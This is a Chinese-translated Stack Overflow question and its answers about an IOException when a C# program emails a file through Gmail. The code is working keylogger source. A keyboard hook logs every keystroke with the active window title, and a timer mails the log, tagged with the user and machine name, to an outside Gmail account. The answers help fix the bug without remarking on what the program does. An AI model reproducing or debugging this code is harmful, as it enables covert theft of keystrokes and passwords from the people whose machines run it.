【问题标题】:C# System.IO.IOException occurred HResult=0x80070020C# System.IO.IOException 发生 HResult=0x80070020
【发布时间】:2017-03-14 15:23:54
【问题描述】:

我的代码出现新问题,昨晚工作 100%。今天早上它给了我一些问题。 (没有改变)

当我运行代码将文件发送到 Gmail 时,我得到一个

System.IO.IOException 发生 HResult=0x80070020

但是当我注释掉电子邮件的发送时(见代码)它工作正常。我不确定发生了什么。

代码:

public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
    {

          try
          {
              MailMessage mM = new MailMessage();
              mM.From = new MailAddress("username@gmail.com");
              mM.To.Add("username@gmail.com");
              mM.Subject = Environment.UserName + " / " + Environment.MachineName;
              mM.Attachments.Add(new Attachment(path));
              mM.Body = "Nothing";
             mM.IsBodyHtml = true;
             SmtpClient sC = new SmtpClient("smtp.gmail.com");
              sC.Port = 587;
             sC.Credentials = new NetworkCredential("username@gmail.com", "password");
            sC.EnableSsl = true;
             sC.Send(mM);
         }
         catch (Exception)
        {

        }

        //File.Delete(path);

    }

写入文件的程序的另一部分是

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {

        int KeyCode = Marshal.ReadInt32(lParam);
        using (StreamWriter sw = new StreamWriter(path, true))
        {

                sw.AutoFlush = true;

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)


                if (!string.IsNullOrEmpty(active) && active != getTitle())
                {
                    active = getTitle();
                    sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }

                else if (string.IsNullOrEmpty(active))
                {
                    active = getTitle();
                    //sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }
                else
                {
                    sw.Write((Keys)KeyCode);

                }



        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }

【问题讨论】:

  • edit您的问题删除敏感信息
  • 我没有看到分配给 path 的任务,它存在吗?还有,这是正确的电子邮件地址和密码吗?
  • 删除凭证部分...你会被劫持
  • 他现在应该删除它。
  • @vipersassassin 你不应该尝试登录他的帐户!即使他愚蠢到公开发布凭据。

标签: c# file gmail


【解决方案1】:

我认为它无法删除文件,因为它正在使用中。尝试添加“使用”来处理 MailMessage 对象:

try
{
    using(MailMessage mM = new MailMessage())
    {
        // your code
    }
    File.Delete(path);
}
catch (Exception)
{
    // your code
}

【讨论】:

  • 仍然出现相同的消息“System.IO.IOException: '进程无法访问文件”它突出显示了我帖子中的第二个代码。”使用 (StreamWriter sw = new StreamWriter(path,真))”
  • 您的文件必须在其他进程中使用。也许这会对你有所帮助stackoverflow.com/a/937558/5358389
  • 我仍然无法理解的是,这在昨晚 100% 有效,我所做的只是关闭程序并上床睡觉,今天早上醒来就发现了这个问题。我会查看链接,看看我能弄清楚什么。没有意义。
  • 当它到达“using (StreamWriter sw = new StreamWriter(path, true))”时,会抛出“System.IO.IOException”。似乎文件在被写入的同时试图发送。
  • 另一种检查女巫进程是否正在使用您的文件的方法是:superuser.com/questions/117902/…
【解决方案2】:

问题已解决,发生的事情是我的计时器设置错误。我假设计时器间隔是秒,而不是毫秒..所以计时器让文件保持“忙碌”。所以代码很好。谢谢大家的帮助。

【讨论】:

    猜你喜欢
    • 2014-07-24
    • 2010-11-02
    • 2016-08-01
    • 1970-01-01
    • 2015-12-16
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多